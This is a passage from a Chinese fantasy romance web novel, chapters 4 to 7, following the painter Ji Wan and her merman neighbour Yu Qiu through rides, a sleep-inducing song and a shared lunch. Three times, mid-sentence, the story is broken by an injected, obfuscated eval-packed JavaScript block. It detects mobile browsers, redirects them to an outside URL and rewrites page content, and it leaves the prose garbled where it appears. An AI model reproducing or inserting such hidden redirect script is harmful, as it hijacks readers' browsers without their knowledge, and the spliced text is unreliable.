唐钰被他的美颜冲击弄得有些头晕,连忙摆手解释:“那你就谢错人了,我只打了电话叫保卫处的人,是学姐一定要停下来带你的,诺,就是前排的司机,这才是个大好人!” 虞秋似乎这才注意到suv驾驶位上一直沉默的人。 他的脑子还没从刚才的冲突里彻底缓过来,这时候还在思考唐钰的师姐又是谁,怎么会这么好心来解救自己,结果就在后视镜里对上了一双悄然打量自己的眼睛。 靠,靠靠靠靠—— “季、季季晩!?” 这一下,比刚才还要震惊的情绪波动席卷全身,他一把捂住差点亮灯的手环,意识到自己是在掩耳盗铃之后,又赶紧松开手,焦虑地扯了扯自己的头发,不露痕迹地想把帽檐往下拉。 这时候遮脸也来不及了啊!! 完了个蛋了,怎么刚好碰到了这个时候! 他现在无比庆幸刚才自己没动手,要不然形象就彻底毁灭了! 而司机显然没有放过他的意思:“小学弟原来认识我?不过我的名字应该只有两个字。” 言下之意——是“季晩”不是“季、季季晩”。 虞秋这下脸蛋彻底烧了起来。 唐钰的目光在他俩之间跳来跳去,意识到了什么似的说:“原来你俩认识吗?” 怪不得学姐这么仗义! “对呀,刚好是邻居。”“不认识!没关系!” 迥然不同的两个答案同时响起,季晩略有兴致的抬起眉毛,又瞥了一眼后座上那个满脸懊恼的身影:“不过现在确实不认识。” 虞秋人都麻了。 感觉自己这两天怎么蠢得像个人机似的。 好在季晩似乎什么都不介意的样子,开始和唐钰搭话:“他是住在我对门的邻居,遇见过两次就记住了。” 唐钰恍然大悟道:“那确实,咱们虞秋学弟还是很显眼的,见过一次可就忘不了了。” 虞秋觉得自己不应该在车里,应该在车底。 他身体甚至已经开始模拟自己和游行队伍打一架的场景了,在悲愤欲绝之前就听季晩问他:“唐钰说你叫虞秋?学弟,你等下是直接回家还是在学校有事?如果回去的话我可以直接带你。” 虞秋飞快地说了一句“不用了!”随后又有些懊恼自己的反应过度。 季晩带着笑的声音很快响起:“我发现了,学弟,你是不是有点怕我?” 和所有人相处的时候都是甜甜的学弟形象,一碰见他,就跟炸毛的猫似的。 唐钰诶了一声很快看向虞秋:“季晩学姐性格这么好,你怎么会……?” “不是的!”虞秋赶紧坐直身体解释。 “我就是,就是见到偶像太紧张了,近乡情怯,不对不对,我就是有心理包袱不想在偶像面前出丑!”搜肠刮肚造了两词,还没一个好听的。 季晩:“你看过我的画?” 虞秋嗯了一声情绪渐渐平和下来:“看过很多很多。”比所有人都要多。 唐钰立刻表示:“学姐你是不知道你名字的威力有多大,咱们学校里都有不少你的粉丝呢,听说今年毕业展有你,结果预约票提前几个月就开始限购了。” 季晩刚成名那几年,海珍市街上的广告牌上甚至都有她画作的巨型扫描图。 艺术带来的震撼,有时候不需要那么高的理解门槛,仅一张色彩冲击极其大的图片就足以让人明白,季晩这个名字意味着什么。 再加上她的年龄噱头,让她的人连带着画爆风一般席卷了整座城市,并逐渐辐射到更遥远的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚好车已经开到了服装设计的那一栋楼,季晩把车停好,很快看见虞秋下去后乖巧地站在了大门旁边。 见他似乎有话要说,季晩滑下车窗:“怎么了?” “学姐,既然是邻居,那要不要加个联系方式?”他说这话的时候表情依旧忐忑,但终于不是之前那种恨不得把脑袋埋进帽子里的样子了。 车里空间太狭小,虞秋怕自己在车里就这么问的话,心脏快要爆炸的声音会让季晩捕捉到。 其实现在也好不到哪里去,即使站在层层叠叠的树影中,季晩依旧能看出他的紧张,耳朵上的红,甚至以肉眼可见的速度一点点晕到了脸颊上。 皮肤太白就是这么吃亏,任何一点变化都会格外显眼。 季晩拿出了手机,后排的唐钰笑嘻嘻的说是她把季晩的名片推给了虞秋。 一个名字叫做小鱼尾巴的用户申请添加,备注是虞秋。 他的头像是一张自己拍的照片,手心拢着一把泡在水里的玻璃球,清透,明亮,色彩斑斓。 “那就晚点再见了。” 季晩很快操作好,朝车窗外晃了一下自己的手机界面,打了个招呼驱车离开。 虞秋就这么一直目送她,心想,总算有个好开始了。 好消息,他的手环就算没有亮灯之前也肯定被季晩注意到了,季晩果然不会无差别的讨厌Omega又或者幻想种,他还有机会。 坏消息,季晩还是那样对所有人都很好,但她自己却过得没那么好。 直到那辆车彻底消失在了视野范围内,虞秋戴上帽子,心里下了决定。 躲是没有用的,他要改变一下策略了。 5. 第 5 章 季晩突然觉得,加上联系方式后的虞秋像是变了一个人。 虽然只有加上好友打招呼的那次,发了一个小鱼翘尾巴的表情包,其他时间几乎没聊天。 但至少,之后偶尔在小区碰到季晩的时候会点个头,露出一个大大方方的笑,而不是像之前那样,把整个金发脑袋都藏到帽子里去。 也有可能只是只是回归了自己本来的性格,不像之前那么躲着她了。 季晩自己不怎么发朋友圈,但很容易就能刷到这个叫小鱼尾巴家伙发的新动态。 今天去雕塑系上课,明天去服装设计试衣服,后天去装置艺术帮忙搬东西。 照片里的场地变来变去,唯一不变的就是他身上带的那些精心搭配过后的明亮色调,简直像黄金分割线里最引人注目的中心点,让人挪不开视线。 而且这家伙人缘很好,季晩添加的校友里面,90%和虞秋都是共友,一发朋友圈全是熟人的点赞和评论。 三天两头就能看到这条小鱼被借调到各个学院,当模特当临时主持人甚至当搬运工。 精力真好。 季晩去学校基本上都是些无聊的正事,然后再偶尔去新搬的恒温恒湿豪华的画室里面,然后和导师斗斗嘴,为自己磨磨蹭蹭的毕业画作添上几笔,结束一天。 可能最近又要连续几天下雨,她兴致不高,打包了点食物,准备在家看个电影,慢悠悠地吃个晚饭。 结果电梯从地下2层一路上升在1楼停下,开门就碰到了她的邻居。 虞秋今天穿得像棵圣诞树似的,身上还带着水汽,几绺金发潦草地贴着脸,小人鱼正在努力地用手帕擦掉水渍。 一看见电梯里怀里抱着个纸袋,手上拎着个打包盒的季晩,虞秋只觉得时运不济,打扮得漂漂亮亮出门一次碰不到,每次狼狈不堪的时候怎么都能遇见季晩! 但既然已经改变相处政策,自然是不能躲着了,他努力挤出一个灿烂的笑容打招呼,打招呼:“学姐晚上好啊。” 季晩嗯了一声打量他身上的衣服:“这圣诞树造型是服设那边的作品?” 语气听着不太像夸奖。 季晩记得邻居私服的品位还不错的样子,但今天穿得这么……不日常,而且这衣服颜色和设计都很奇怪,再被雨一淋,整个蔫哒哒的像泡了水的小猫咸菜。 虞秋觉得季晩这一下就把天给聊死了:“不是的,这是学校一个环保活动的志愿者服装,今天路演刚结束来着,我也没想到突然间就下雨,还好这衣服应该只穿一次。” 他平常都是坐公交到小区门口,再步行个几百米进来。 谁知道今天运气这么差,从公交车站出来不到100米就开始下暴雨,想着都要到家了就跑回来呗,结果给淋成落汤鸡,哦不,是落汤鱼了。 然后这狼狈的样子还被季晩给看见了。 电梯上升速度很快,两人没说几句就已经到了7楼。 季晩很自然的出了电梯就往右边自家门口走,不知道想到了什么,突然停下来,又从面前的超市纸袋里挑挑拣拣,拿出一瓶饮料:“诺,刚好我这个买的有点多,给你一瓶,晚上熬个姜汤喝吧。” 虞秋有些受宠若惊的哦了一声,接过那瓶手工饮料。 小区附近那家很大的生鲜超市可以现榨苹果汁橙汁之类的,季晩在那里做了几瓶鲜榨的姜汁。 虞秋露出了一个大大的笑脸:“我会好好喝掉,不会浪费的!谢谢学姐了。” 季晩本以为对方会觉得意外什么的,毕竟很少会有什么人在超市怒买十几斤的姜就为了榨几瓶姜汁,没想到对方居然接受度良好。 道谢的样子也异常诚恳可爱,可能是因为头发被打湿都塌下来的缘故,显得那双眼睛特别大。 季晩盯着那抹琉璃一般的绿色看了两秒:“快回去吧,洗个热水澡,别感冒了。” 两人一左一右,各自回家,咔哒两声,大门关上。 晚餐配的电影还不错,看完之后已经八点多,季晩回完几个工作消息,就把手机静音,听着窗外噼里啪啦的雨声,决定泡个澡。 她有个习惯,喜欢在长时间下雨的几天里,弄几瓶新鲜的姜汁。 就算不喝,也要闻着这个味道帮助入睡。 还被多年的好友江炽嘲笑过,说季晩以后可能会找个生姜味的Omega。 浴室算是季晩这个纯白色样板房里,唯一能看得过眼的地方。 她的房子几乎没配过什么像样的软装。 客厅只有一张海绵垫沙发,就连卧室也只是一个落地的床垫,能不买家具就不买家具,像是随时都能搬出去把房子一键还原。 但是偏偏,她浴室里放了个一看就是精心挑选过的浴缸,边上有精油台,置物架和其他各种奇怪的装置。 新鲜的姜汁被安排在了一个容器,放在浴缸旁边,挥发出让人安心的味道。 舒舒服服的泡一个澡,能帮助人更好的入睡,这是除了药物以外,唯一一个季晩觉得或许有点帮助的方法。 季晩不喜欢水,但接受心理治疗的那一段时间,或许是脱敏的作用,也或许是激发了什么在待在母体羊水里的安全记忆,偶尔在一个狭小的热水环境里,会让她觉得非常放松。 也就是在这个时刻,微微蒸腾的生姜香薰,和窗外的雨声白噪音,都让寂静的浴室变得愈发舒适。 不过今天似乎有一点不太一样,几分钟后,季晩好像听到一墙之隔的隔壁浴室里,传来了欢快而震撼的音乐声。 他们这个房子的隔音效果异常好,平常根本听不到楼上楼下又或者隔壁的声音。 但在浴室这一方并不狭小的空间,或许是某种设计缺陷,像是两个拉着毛线连接的纸杯,听到了对面传来的音波。 听着和地震似的。 小学弟原来喜欢听这种地狱风格的摇滚吗? 季晩突然有点好笑的想到,自己要是发条消息给邻居,说他在浴室放歌的声音太大,估计能把对面吓得又和以前,见到她就想钻到地里了。 不过消息是不可能发的,毕竟这种Alpha说人家Omega洗澡放歌声音太大的提醒,就和性骚扰一样。 她已经猜到,邻居是一名海里来的Omega,大概是某种特殊鱼类,尤其喜欢色彩鲜艳的东西,而且精力非常强。 审美不错,就是洗澡的时候放这么重金属的摇滚还是有点异于常人了。 也不知道是不是她内心的想法隔着墙穿透了过去,隔壁爆炸的摇滚乐大概只响了个几分钟就停了。 而隔壁,某条鱼正在一边刷牙,一边发消息轰炸自己的朋友。 [你个死章鱼是不是脑子有病,我浴室的音响把你那歌放完,墙砖都快震下来了!] [怎么和你大表哥说话呢?那是咱们乐队的主打歌好吗?这个月专辑出来了,你去给我买一百张支持一下。] [呸!我刚参加完环保活动,才不会给这种不环保的东西花钱!] [啧,没良心的鱼。] [转账10万] 虞秋水润的绿眸一下就瞪大了:[你个死财迷,今天怎么这么大方?你们乐队现在都混成这样了,给我10万帮你专辑刷单?] 对面的八爪鱼显然气得不轻,连发了好几个愤怒章鱼冒火的表情包。 [这是给你的劳务报酬!] [你嫂子最近安胎总是睡不好,商量一下,给哥录点安抚的声音。] 人鱼歌声,千金难求。 虞秋立刻把钱收了,这个土大户Beta表哥嫁入豪门后,还是和小时候一样抠门,难得这么大方一回,他才不会跟对方客气。 浴室的收音效果比其他房间都要好,几分钟之后浴室里响起了清透温柔,又带着治愈属性的,属于人鱼的清浅吟唱。 虞秋的手环上甚至有淡淡的绿光开始亮起。 绿色代表治愈属性,亮灯后并不会被数据检测上报协会。 也只有极少的协会高层才知道,人鱼是罕见的双属性拥有者,同时拥有红色的攻击性,以及绿色的治愈性。 但大部分时候虞秋都会选择做个好人,就像季晩那样。 而一墙之隔的季晩,在泡澡的水也渐渐降温,准备起来回房间的时候,就听到隔壁又传来一阵似有若无的歌声。 轻飘飘的,像几片羽毛飘到了水面上,滴溜溜的随着水面轻轻颤动。 季晩看着水波晕开的圆圈,发了一会儿愣。 等意识到水温有些太低了,这才从浴缸里走出,一言不发地站在了镜子前。 没有任何伴奏,纯人声,季晩甚至有些分不清这到底是放的音乐还是邻居自己在唱歌。 那是一段没有任何歌词的吟唱,婉转,悠扬,声调异常熟悉,让她忍不住地走神。 直到在镜子面前刷牙的时候,那淡淡的吟唱声依旧没有结束,季晩又慢吞吞的从镜柜里面拿出安眠药吃下,所有睡前准备工作都已完成,依旧有些舍不得离开浴室。 终于,隔壁的声音彻底停了,她这才反应过来自己刚刚简直像梦游一样的状态。 真是奇怪,得找机会问一下虞秋,这个无声吟唱,是她歌单里的曲子还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318265|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么别的。 今天的睡前准备工作比以往都要多,在浴室待的时间实在太久,药效已经开始发挥作用。 季晩今天吃的是刚从医院开的新药,没想到效果居然这么好。 久违的陷进白色的床垫里,她很快的进入了一个柔软的梦。 季晩梦到了小时候。 自己刚学画画的那几年,妈妈带着她从医院出来,去偏远的小镇海岛上疗养。 那时候的季晩,孱弱得连画笔都不能久握,她最喜欢的还是赤着脚走在沙滩边,听着海浪轻轻拍打在岸上,就像大海的呼吸一样。 她在那种环境里,总是没多久就能靠在吊椅上睡了一觉又一觉。 偶尔,也能在傍晚,遇见海岸边一颗又一颗亮起的玻璃珠。 季晩昂着头问妈妈:“为什么贝壳里不是珍珠而是玻璃珠呢?” 母亲当时笑得很开心,揉着她的头发。 “你忘啦,这是**送给你的礼物。” 海浪的声音越来越大,季晩好像没有听清那个名字,是谁送她的礼物来着? 她捡起一颗玻璃珠,透过阳光看到了里面旋转的彩色玻璃夹心,那是她最中意的一颗,里面有一抹浅金色的蕴影,就像一条漂亮的鱼尾巴。 滴滴滴—— 恼人的手机铃声,打破了这难得的悠长梦境。 季晩醒来的时候,甚至感觉耳边还有绵延的海浪声,再过一会儿,她听清了,这是窗外下雨的声音。 九点钟,免打扰模式已经关闭,手环显示她昨晚睡了七个半小时,比以往的三四个小时好了很多。 季晩无可奈何的摸到了枕头旁边的手机,以为是学校那边有什么要紧的事,结果上面有好几个的未接来电,几乎全是学妹唐钰打来的,只有最开始那个是院长打的。 季晩打开通讯软件,已经看到了学妹发过来的大片消息。 大致看完内容,她收拾了一下准备马上出门。 拿了个昨天买了三明治充饥,因为睡得还可以,所以三明治配的不是难喝的速溶咖啡而是橙汁。 刚出门摁下电梯就听到一阵噼里啪啦的声响,季晩侧头一看—— 一头金发睡得乱糟糟,随便抓了件卫衣就往脑袋上套,一边穿鞋一边往包里塞各种东西,同时脑袋歪着夹着个手机正在打电话的虞秋,就这么混乱的和家门口的季晩对上了视线,瞬间,整个鱼就像按了暂停键。 虞秋动作一停就显得楼道里实在安静,季晩甚至能听到电话那头有一个焦急的人声几乎是尖叫着说:“总之你快点来学校啊要不然期中作业全被淹了!” 电梯已经到了,季晩率先走进去,等了几秒在电梯门合上之前她用手虚虚挡住电梯门问:“不进来吗,你不是应该也赶时间?” 虞秋天人交隔几秒后迈着沉重的步伐走进了电梯。 电梯面板上只有一个被摁下去的-2亮着。 虞秋纠结了一秒,扭头看季晩。 两人的声音几乎同时响起。 “学姐,你今天顺路能送我去学校吗?”“今天下雨不好打车,要不要我送你?” 虞秋眼睛都瞪圆了。 很快反应过来说了句谢谢,笑得眼睛又弯了起来。 但透过电梯锃亮的反光面,他很快又看到自己翘起来的头发,立刻上手拼命抓了抓,可那几撮固执的金发死活摁不下去。 季晩就那么饶有兴致的,一边喝橙汁,一边看着对方整理。 她越盯着看虞秋越紧张,虞秋越紧张,季晩莫名其妙的心情就越好。 她想,大概是因为昨晚睡得很好的缘故吧。 出了电梯,季晩走到自己停车位,有些纠结的虞秋最后还是坐上了副驾驶,坐后面的话,显得像是让季晩给他当司机似的,绝对不是因为他有其他私心。 见虞秋已经系好安全带,季晩一边调整方向盘一边问:“对了小学弟,有个事可能需要你帮忙,是关于音乐方面的。” 音乐? 虞秋心里咯噔一下,不知怎么总有一种不祥的预感。 “我昨天洗漱的时候好像听到你放歌了,能不能问一下,你平常听歌有什么特殊歌单吗?” 他昨晚放过的歌…… 等等,那不就只剩下他那个二货表哥八只触手拉木头咆哮出来的破锣嗓子声音了吗? 那鬼东西一年的销量全球都不超过几万张,其中一半估计都还是他嫂子友情赞助的,这种东西,普罗大众里也就口味奇怪的人才会喜欢了吧? 靠,他在季晩那里的形象岂不是更怪了! 6. 第 6 章 虞秋到现在都觉得,自己那个八爪鱼表哥能成立乐队,全靠软饭吃得好。 季晩这是不是在旁敲侧击说他昨晚放的歌扰民了? 浴室的隔音效果这么差的吗可恶! 可他仔细一琢磨,不对,季晩也不是这么拐弯抹角的人啊。 果不其然,驾驶位上的人又补充了一句: “我说的不是前面放的那个摇滚乐。”季晩的声音里似乎还带着笑。 “是后面那个纯人声的吟唱,能不能发我一个链接。” 虞秋这回是真的在副驾驶上僵住了。 他表情很快变得小心翼翼起来,又带着某种欣喜的语气似的问:“学姐,你很喜欢听那个吗?” 季晩没有掩饰自己失眠的事:“我一般都睡得不太好,昨晚换了新药,结果睡眠质量有些超乎寻常,普通药物不会起那么大的作用,我想了想,可能是昨晚睡前听的那些歌,当时在浴室听到的时候,我就很放松。” 那些闹哄哄的摇滚乐必然是不能起到安眠作用的。 虞秋本来还挺高兴季晩居然喜欢他唱的歌,但一听是失眠问题,嘴角本来止不住的笑,又一点一点的被拉平。 几秒后,手机叮的一声响了。 季晩知道,是学弟把歌发给她了。 刚好这时候是红灯,她看了一眼手机界面。 奇怪的是,虞秋发过来的并不是某个软件的链接,而是一个音频文件。 虞秋含含糊糊地解释:“那个吟唱声不是外面发售的歌曲,是我嫂子最近养胎舒缓压力听的,还有那个摇滚乐是我表哥他们乐队的新歌,我就顺带‘鉴赏’一下。” 季晩就自动理解成了,吟唱歌声和摇滚乐都是他表哥发过来的,点头谢过:“如果有用,下次请你吃饭。” 下次请你吃饭大概是乐于助人的小人鱼在学校里听到的最多的话了,于是一不小心,虞秋嘴巴比脑子快:“那就今天吃吧,没用的话估计就吃不上了。” 说完立刻捂嘴。 死嘴,跑得比尾巴还快!说得怎么这么像来骗饭吃的! 驾驶位上似乎传来一声轻笑。 “这雨估计连续下几天,晚上的时候我带你直接去吃饭,你大概几点忙完?” 说到这个虞秋也没个准信了:“今天倒是只有下午有一节课,其他时间我得去画室抢修,咱们雕塑系的仓库据说破了个大洞。” 他大早上睡过了头,打开群消息全是哀嚎。 季晩来学校也是处理类似的事,上次虽然把画搬去了新的仓库,但据说有个放旧展示作品的教室也因为昨晚的暴雨损坏了。 “这还没到台风季呢,学校今年怎么这么不靠谱?”虞秋语气略带怨念。 季晩:“今年据说台风季也会来得比以往还要早,学校翻修了很多小楼,大概也是为这个做准备。” 由于地理位置缘故,海珍市每年受到暴雨侵袭的次数远超其他海滨城市,基本都集中在季晩最讨厌的4到6月。 其余时间这里阳光灿烂,拥有着最美丽的海岸风景线,加上得天独厚的海洋条件也造就了多所院校坐落于此,甚至包括好几所医学生物研究院。 想到那些研究院,季晩有些走神,还好学校已经到了,副驾驶的虞秋小声说了一句“学姐,我在前面这栋楼下就可以。” 季晩嗯了一声,把车慢慢停好,外面依旧下着中雨,她把车停到了离教学楼比较近的地方。 虞秋不知什么时候已经提前穿好了一件透明雨披,早早的把满脑袋不听话的金毛塞进去,压好。 然后又拿出了一把亮橙色的伞,季晩甚至看到他不知什么时候从包里还拿出了一双短款雨靴的鞋子,已经换上了。 堪称全副武装。 明明是海里来的家伙,结果防雨措施做的这么到位。 虞秋有些不好意思地说:“我是比较亲水的物种嘛,怕一不小心就变回原形了。” 海洋幻想种在信息素稳定的情况下,不会有突然变回原形的风险,通常拥有这种风险的都是长期使用抑制剂所导致。 没有与任何岸上人类信息素直接交互的个体,才会有这样的“缺陷”。 季晩想起了那一天她们见到的同一个快递员。 那家公司的医疗特送她经常叫,一般只有特别不好保存的,等级非常高的抑制剂才会使用他家的快递。 突然有种同病相怜的感觉。 季晩送完学弟开车前往自己要去的仓库那边。 虞秋进入教学楼没多久,突然收到了一条新消息。 W:[我这边暂时不知道什么时候会忙完,如果顺利,可以中午一起吃个午饭,食堂随便挑。] W:[这个就不算请客了,请客的话请你去外面吃。] 小鱼尾巴:[谢谢学姐!我这边要是速度快,等下发消息给你。] [小鱼翘尾吧.jpg] 虞秋开心的放下手机,感觉今天干活都更有劲了,和满教室一边哀嚎一边转移作品的同学比起来,他简直是浑身都散发着甜味的跳跳糖似的,又甜又能跳,活力十足。 把他叫过来的班长很是不理解:“小鱼你高兴个啥呢,你期中作业的材料都被打湿一半了,这么苦中作乐的吗。” 虞秋笑着摸了摸用塑料布罩好的大件:“反正我的作业还只打了个钢架,损失不大,材料可以再找嘛。” 相比于其他人都快拿去抛光的雕塑,他这种磨磨唧唧作业没做完的确实已经算损失小的了,被人急急忙忙喊来还是因为需要人手,这次期中作业都是大件转移,物品推车都用不过来了,而他的力气又是出了名的大。 而灾难的根源也很快被确定。 雕塑教室这边有一扇窗户,莫名其妙的破了个大洞,导致大量对原料的区域被雨水覆盖,搞得教室里像发了一场山洪泥石流似的。 班长睿智地推了推眼镜,立下判断:“这一块走廊的监控正好坏了,我有理由怀疑这是有人故意在害咱们雕塑系。” 旁边有人立刻插话:“就是啊,昨晚的暴雨确实比较迅猛,但也不至于把窗户给刮坏。” 班长:“反正已经告知保卫处的人了,现在就在看附近有没有车辆的行车记录仪能拍到。” 这一块仓库大门是1楼,正好对着艺术楼的停车场。 虞秋帮着大家把那些巨型石雕之类的作品、材料和工具,先挪开去了安全一点的教室,这才回来也跟着凑热闹看了看坏掉的那扇窗户,果然发现了奇怪的地方。 这个世界因为海洋幻想种的出现,超能力之类的东西变得也没那么玄乎了,人们总能把那些奇怪的事件安在各种海洋生物的头上。 什么八大海洋未解之谜,百项未知悬案里面有80%都得和幻想种扯上关系。 虞秋现在看着那扇窗户,倒是比所有人都率先想到,会不会是哪条缺心眼儿的鱼干的? 门框位置附近有非常浅淡的水流冲刷的痕迹,那可不是下雨能刮出来的东西,人类看不出来,他一个天天在海里用水刀切鱼骨头的家伙怎么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318266|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明白。 虞秋拿手机拍了几张特写照片和小视频,准备晚一点发给自己认识的保卫处老师。 这会儿时间已经接近中午,小鱼又开心起来,不知道季晩忙完了没有,今天居然可以和季晩一起吃两顿饭耶! 相比以前,简直是进度喜人! 新发过去的表情包,是一只小鱼躲在门框偷偷往外看。 [学姐你在吗?] 季晩过了一会儿才回消息。 [抱歉,刚刚在开会,现在我来接你吗?外面还在下雨。] 虞秋忙说不用,他现在全副武装,到时候别把脏水带车上去了。 [我这里离二食堂很近,而且雨已经小很多了!我们去那吃?] 季晩说ok,表示10分钟之后到。 虞秋于是开始换衣服,雕塑系这边日常本来就脏脏的,加上今天的雨夜事故,小鱼现在像是泥巴堆里钻出来的一样,他尽量的把身上给弄干净了些,这才全副武装的往外走。 走着走着他突然想到了什么,从背包里掏出一个娃娃塞进了口袋,边捏边往食堂的方向继续前进。 昨晚由于唱歌的缘故消耗很大,他睡觉的时候就滚在娃娃堆里恢复能量,这才一不小心睡过了头。 其实下雨天的时候他是不爱出门的,因为越接触水就越想家,越想回到海里。 大部分海洋幻想种其实都会有类似的小毛病,只不过表现的形式各不相同,有的人会在雨天的时候情绪更加激动,容易爆起伤人,尤其是佩戴红色灯光手环的个体。 还有的是在雨天会更加多愁善感,甚至是抑郁,需要靠药物来调控。 除非有人类帮忙补充信息素,这种症状永远都不会消失,这大概就是海洋种上岸后,注定被信息激素控制的一生。 季晩这种不需要吃太多药,只需要娃娃安抚就能保持情绪稳定的已经是极少数个体了。 他心想,还好前不久才补充了抑制剂,加上由于和季晩的关系进度比想象中好很多,所以情绪也稳定了。 出门的时候他还记得往包里放了一个手感最好的娃娃,就这么捏一捏,基本上也不会有发病的风险。 如果想贴贴季晩,他就捏一捏娃娃做代替。 这种幼稚而又纯真的想法,很快在见到季晩的时候一点一点被悄悄磨掉了。 二食堂大厅的门口,一个穿着长风衣的修长身影,就在那静静的等着他。 因为下雨,季晩常年披散在身后的黑发随意扎了起来,微微侧身的角度,露出她后脖子上一个花纹奇特的墨色纹身,目光沉静地穿过雨幕和虞秋对视上的那一个瞬间,像是某种沉默寡言又夺人心魄的海妖,把真正来自海里的人鱼都给蛊惑了。 那些纷杂的记忆像是穿过雨幕击中了他。 虞秋手下一个用力,口袋里用来安抚情绪的手感巨软的娃娃,差点就这么被他捏爆。 他有些心虚的低头调整了一下手环的档位,错开了季晩对视的视线。 心脏砰砰砰的直跳,他简直有种穿过雨幕快速跑过去,直接撞进人家怀里的冲动。 简直是色令智昏! 手环显示信息素指数上升了两个点,他真是太没用了,人家季晩都还什么没做呢。 不对,都怪这场大雨。 但是不下雨,他今天说不定都没办法蹭车蹭饭。 狠心的捏了捏口袋里的小娃娃,他想: 算了,老天爷还是多下下雨吧,这样就会有好心的季晩收留他这条人鱼了。 7. 第 7 章 季晩在食堂门口其实也不完全是为了等虞秋,她不喜欢人太多的公共场合,信息素的味道过杂,手环过滤起来有些困难,所以更愿意站在外面呼吸一下新鲜空气。 下雨时候的天空总是那么灰暗,直到这底色冷淡的构图里,闯进了一个跃动的身影。 那个穿着透明雨衣,打着一把暖橙色雨伞的学弟。 虞秋大多数时候给人的感觉就像他的微信头像一样,用一层透明的水波一样的衣服,包裹着一个色彩缤纷的灵魂。 所以季晩总是会忍不住看过去,然后想要一颗一颗的数一下,那些珠子到底有多少种不同的颜色。 而那些可爱的玻璃珠总是会朝她滚了一段距离后又突然停住,像是打着旋似的往后缩,让人忍不住想探手去抓。 虞秋总是能找到合适的理由避开她。 就比如现在。 “学姐,我抖一下雨衣和伞,你离远些,别把水溅到你身上了。” 虞秋把那些贪婪的想法都装在密不透风的玻璃球里。 好像只要他不说,就能很好的抑制住怦怦直跳的心脏,以及恨不得跳到对方身上去的心情。 嘈杂声渐起的食堂里,季晩声音像冰块似的清脆: “嗯,我点了一份麻辣香锅和清蒸鲈鱼,你等下看看还有什么想吃的没。” 这个点吃饭的人不少,季晩挑的位置靠里,安静很多,但稍微有点热,她把大衣脱下放在椅背,就感觉对面的似乎一直盯着她。 “怎么了?” 虞秋红着脸没说话,好半天才小声哼哼:“我想喝鱼片粥可以吗?” 海洋幻想种都比较爱吃海产品,季晩点的鲈鱼套餐里面有饭,猜测学弟是不太想吃大米饭。 只不过等她端着一份海鲜粥回来,发现小学弟好像又和前几天一样故态复萌了。 把粥放在他面前的时候,虞秋甚至往后努了努身体,像是不想离季晩太近。 季晩坐回到对面沉默几秒后,不落痕迹地观察了一眼自己的手环,各项指数正常,她并没有泄露出信息素。 而对面正在吃饭的小鱼,倒是捏勺子的手微微晃动,好像舀粥都有些不太稳。 “你的手,是不是受伤了?” 季晩看着对面拿着勺子,手还在微微有些抖的虞秋。 虞秋噎了一下,左手放在口袋里疯狂挤压安抚娃娃,右手抖动的幅度这才降低。 他总不能告诉虞秋自己这是皮肤饥渴症爆发了,一看到她就忍不住想贴,已经渴望到身体发抖的程度了吧,听着就很变态啊。 “没、没有,可能就是之前搬东西的时候用力过度了。” 一顿饭吃得有些沉默寡言,季晩一直在观察对面的小鱼,当然也发现了,学弟的左手一直藏在口袋里,猜测或许是受了伤不愿意告诉她。 等下午一切都忙完了,晚饭因为其他事没有一起吃,只不过雨势依旧未减,两人还是约好了一起回家。 接近傍晚,季晩回去的时候又开车路过了药店。 虞秋本来在副驾驶坐立难安,整个鱼都处于一种混乱状态—— 好想贴得最近一点,好想钻进她怀里。 不行,不能这么过分,好不容易有了这么好的当朋友的机会,不能直接把人给吓跑了。 所以等季晩中途突然停车买了一袋药回来,递给他之后,人鱼还是一种懵懵的没睡醒的状态。 “里面有舒缓手部压力的药贴和喷雾,要还是抖得厉害,最好去医院看一看。” 窗外依旧在下雨,刚刚出去买完药回来的季晚,身上带着一股潮气,她的目光在车内橙色灯光的照耀下,显得是那么的温柔而又纯粹。 把另外一条心怀鬼胎的鱼,照得有些愧疚。 虞秋哽了一下,真的很想告诉对方现在最好的治疗方法就是钻她怀里,皮肤贴着皮肤感受对面的体温,他估计就能原地痊愈。 虞秋只能压抑着心情不断抱歉自己的见色起意突然发病,决定晚上回去就埋进娃娃堆里打滚,尽量让自己好得快一点。 以及在完全好起来之前,最好不要离季晩太近了。 “那个吟唱要是有用的话,等过段时间我再给你新的,一直听这一段的话,效果可能会衰减。” 电梯到达,虞秋好似终于吐出了一口气,表情放松了些,最后和季晩做了个拜拜的手势。 “今天就谢谢学姐接送,以及请客吃饭啦。” 季晩嗯了声,看着自己的小邻居不断揉搓那一头金发,早上翘起的部分经过一天的波折,已经成功被安抚了下去。 季晩于是开口:“这两天可能会一直下雨,你要是去学校的话可以搭我的便车。” 虞秋顿时有种心动又不敢动的感觉,默默在心里叹气。 “好呀,那就提前谢谢了。”嘴上这么说,心里想的却是最近几天还是不要坐季晩的车了。 眼睛里的情绪或许比语言更实感,谁也没能骗过谁。 两人就此别过,一左一右各回各家。 